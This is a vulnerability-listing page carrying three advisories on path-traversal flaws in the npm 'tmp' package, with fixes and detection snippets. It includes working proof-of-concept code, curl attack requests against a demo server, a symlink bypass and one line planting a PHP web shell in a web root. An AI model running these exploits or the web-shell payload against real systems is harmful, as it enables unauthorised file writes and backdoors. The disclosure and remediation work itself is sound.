-Infinity
0

Vendor Risk Score

See how raszi compares to other vendors in security performance

View Risk Score →
Severity
7.7
Path Traversal, Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.

Details

Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.

Technical Flow: 1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix> 2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name) 3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape 4. File Creation: File created at the resulting (potentially escaped) path

Vulnerable Pattern: javascript // In tmp package internals const name = ${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir

Path Traversal Mechanics: - prefix/postfix traversal: ../../../evil in prefix escapes directory structure - Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely - Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text - Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems

Key Vulnerability Points: - No input validation on prefix, postfix, or dir parameters - Direct use of user input in path construction - Reliance on path.join() normalization without containment checks - Missing post-construction validation that final path remains within intended directory

PoC

Basic Path Traversal via prefix: javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs');

// Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir);

// Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); });

Directory Escape via postfix: javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); });

Absolute Path Bypass via dir: javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); });

Advanced Multi-Vector Attack: javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename };

tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); });

Real-World Attack Simulation: javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); }

// Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory

Impact

Arbitrary File Creation: - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability

Attack Scenarios:

1. Web Application Configuration Poisoning: - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart

2. Cache Poisoning: - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users

3. Build Pipeline Compromise: - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production

4. Container Escape Attempt: - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas

5. Multi-Tenant Service Bypass: - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation

Business Impact: - Data Integrity: Unauthorized file placement can corrupt application state - Service Disruption: Files in wrong locations may break application functionality - Security Bypass: Escape temporary isolation boundaries - Compliance Violations: Files containing sensitive data placed in uncontrolled locations

Affected Products

- Ecosystem: npm - Package name: tmp - Repository: github.com/raszi/node-tmp - Affected versions: All versions with vulnerable path construction logic - Patched versions: None currently available

Component Impact: - tmp.file() function - vulnerable to prefix/postfix/dir traversal - tmp.dir() function - vulnerable to same parameter manipulation - tmp.tmpName() function - if using affected path construction

Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)

CWE Classification: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Remediation

Input Validation and Sanitization:

1. Sanitize prefix/postfix: javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); }

function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9.-]/g, ''); }

2. Validate dir parameter: javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; }

3. Post-construction path validation: javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; }

Secure Implementation Pattern: javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); }

Workarounds

For Application Developers:

1. Input Sanitization: javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9.-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); }

2. Path Validation: javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; }

3. Restricted Usage: javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback);

For Security Teams:

1. Code Review Patterns: bash Search for dangerous tmp usage grep -r "tmp\.file.prefix.req\|tmp\.file.postfix.req" . grep -r "tmp\.dir.opts\|tmp\.file.opts" .

2. Runtime Monitoring: javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); };

Detection and Monitoring

Static Analysis: - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories

Runtime Detection: javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; }

File System Monitoring: bash Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == "CREATE" && "$file" != /tmp/tmp- ]]; then echo "Unexpected file creation: $file" fi done Acknowledgements

Reported by: Mapta / BugBunnyai

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Input Validation, Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Summary

The assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.

This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.

Impact

- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions. - Directory creation outside the intended tree (via tmp.dir{,Sync}), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.

Affected versions

tmp >= 0.2.6 (the assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.

Vulnerable code

lib/tmp.js at tag v0.2.6, commit 41f7159:

javascript // lib/tmp.js:533-539 function assertPath(path) { if (path.includes("..")) { throw new Error("Relative value not allowed"); }

return path; }

javascript // lib/tmp.js:577-580 options.prefix = isUndefined(options.prefix) ? '' : assertPath(options.prefix); options.postfix = isUndefined(options.postfix) ? '' : assertPath(options.postfix); options.template = isUndefined(options.template) ? undefined : assertPath(options.template);

javascript // lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join const name = [ opts.prefix ? opts.prefix : 'tmp', '-', process.pid, '-', randomChars(12), opts.postfix ? '-' + opts.postfix : '' ].join('');

return path.join(tmpDir, opts.dir, name);

Root cause: assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.

How untrusted data reaches assertPath

Two production-realistic shapes that yield a non-string prefix/postfix/template:

1. JSON request bodies. express.json() (and any other JSON body parser) preserves the parsed value's type. A body of {"prefix":["../escape"]} reaches the handler as an Array. 2. qs-style bracket-array query strings. Express 4's default qs parser turns ?prefix[]=../escape into ['../escape']. The same applies to any framework using qs (Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).

The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.

Proof of concept (string vs array)

poc.js (run after npm install tmp@0.2.6):

javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' }); console.log(' UNEXPECTED, file at:', r.name); r.removeCallback(); } catch (e) { console.log(' BLOCKED as expected:', e.message); }

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); }

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked'); try { const r = tmp.fileSync({ tmpdir: baseDir, prefix: { toString: () => '../escape', includes: () => false } }); console.log(' CREATED at:', r.name); console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir))); r.removeCallback(); } catch (e) { console.log(' BLOCKED:', e.message); }

Observed output on tmp@0.2.6:

text [negative control] string "../escape" - must be blocked BLOCKED as expected: Relative value not allowed

[bypass] array ["../escape"] - same effective value, not blocked CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn ESCAPED: true

[bypass] duck-typed object {toString, includes} - also not blocked CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf ESCAPED: true

End-to-end reproduction (against the deployed npm package)

Install:

bash mkdir tmp-bypass-poc && cd tmp-bypass-poc npm init -y npm install tmp@0.2.6 express@5

victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:

javascript const express = require('express'); const tmp = require('tmp'); const fs = require('fs'); const path = require('path');

const app = express(); app.use(express.json());

const TENANTBASE = fs.mkdtempSync('/tmp/tenant-base-'); console.log('[victim] Tenant base dir:', TENANTBASE);

app.post('/upload', (req, res) => { const userPrefix = req.body.prefix; // attacker-controlled console.log('[victim] received prefix:', JSON.stringify(userPrefix), '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

tmp.file({ tmpdir: TENANTBASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => { if (err) { console.log('[victim] tmp error:', err.message); return res.status(400).json({ error: err.message }); } fs.writeSync(fd, 'attacker-controlled-content'); fs.closeSync(fd); const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANTBASE)); console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped); res.json({ filepath, escaped, tenantBase: TENANTBASE }); }); });

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));

Run:

bash node victim-server.js &

Drive three requests from another shell:

bash echo '=== ATTACK 1: string prefix - caught by 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo echo '=== ATTACK 3: multi-level traversal toward /etc ===' curl -s -X POST -H 'Content-Type: application/json' \ -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload

Captured transcript (verbatim from the test rig):

text === ATTACK 1: string prefix - caught by 0.2.6 === {"error":"Relative value not allowed"}

=== ATTACK 2: array prefix - bypasses 0.2.6 === {"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}

=== ATTACK 3: multi-level traversal toward /etc === {"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}

Server log:

text [victim] Tenant base dir: /tmp/tenant-base-3XHwPZ [victim] received prefix: "../escape-string" (type: string ) [victim] tmp error: Relative value not allowed [victim] received prefix: ["../escape-array"] (type: array ) [victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true [victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array ) [victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'

Observations:

- ATTACK 1 (string ../escape-string) is rejected at assertPath. The 0.2.6 guard works for plain strings. - ATTACK 2 (array ["../escape-array"]) passes the guard and creates a file at /private/tmp/escape-array-..., outside the tenant base /tmp/tenant-base-3XHwPZ. The file content is attacker-controlled-content. Confirmed with ls:

bash $ ls -la /tmp/escape-array- -rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh $ cat /tmp/escape-array- attacker-controlled-content $ ls -la /tmp/tenant-base-3XHwPZ/ total 0 drwx------ 2 rick wheel 64 May 27 20:25 .

Tenant base is empty. The escape is complete.

- ATTACK 3 (array ["../../../etc/poc-tmp-bypass"]) reaches fs.open for /etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.

Negative control with patched build

Applying the suggested fix below and re-running ATTACK 2:

text === ATTACK 2: array prefix - after fix === {"error":"prefix option must be a string, got \"object\"."}

The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.

Suggested fix

Patch assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.

diff --- a/lib/tmp.js +++ b/lib/tmp.js @@ -528,11 +528,14 @@ function generateTmpName(opts) { / - Check the prefix and postfix options + Check the prefix, postfix, and template options @private / -function assertPath(path) { - if (path.includes("..")) { +function assertPath(option, value) { + if (typeof value !== 'string') { + throw new Error(${option} option must be a string, got "${typeof value}".); + } + if (value.includes("..")) { throw new Error("Relative value not allowed"); }

- return path; + return value; } @@ -575,9 +578,9 @@ function assertOptionsBase(options) { options.unsafeCleanup = !!options.unsafeCleanup;

// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to - options.prefix = isUndefined(options.prefix) ? '' : assertPath(options.prefix); - options.postfix = isUndefined(options.postfix) ? '' : assertPath(options.postfix); - options.template = isUndefined(options.template) ? undefined : assertPath(options.template); + options.prefix = isUndefined(options.prefix) ? '' : assertPath('prefix', options.prefix); + options.postfix = isUndefined(options.postfix) ? '' : assertPath('postfix', options.postfix); + options.template = isUndefined(options.template) ? undefined : assertPath('template', options.template); }

Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after generateTmpName, similar to what getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.

Fix PR

https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1

Credit

Reported by tonghuaroot.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 dir: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because resolvePath does not properly handle symbolic link when resolving paths: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } }

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the assertIsRelative check used in assertAndSanitizeOptions: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(${option} option must not contain an absolute path, found "${name}".); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(${option} option must not contain a path, found "${name}".); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(${option} option must be relative to "${tmpDir}", found "${name}".); } let resolvedPath = resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(${option} option must be relative to "${tmpDir}", found "${resolvedPath}".); } }

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

- Setup: create a symbolic link inside the tmpDir that points to a directory outside of it bash mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

- check the folder is empty: bash ls -lha $HOME/mydir1 | grep "tmp-"

- run the poc bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

- the temporary file is created under $HOME/mydir1 (outside the tmpDir): bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]

- main.js js // npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name);

try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) }

try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) }

try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) }

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links. js function resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); }

Impact

Arbitrary temporary file / directory write via symlink

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203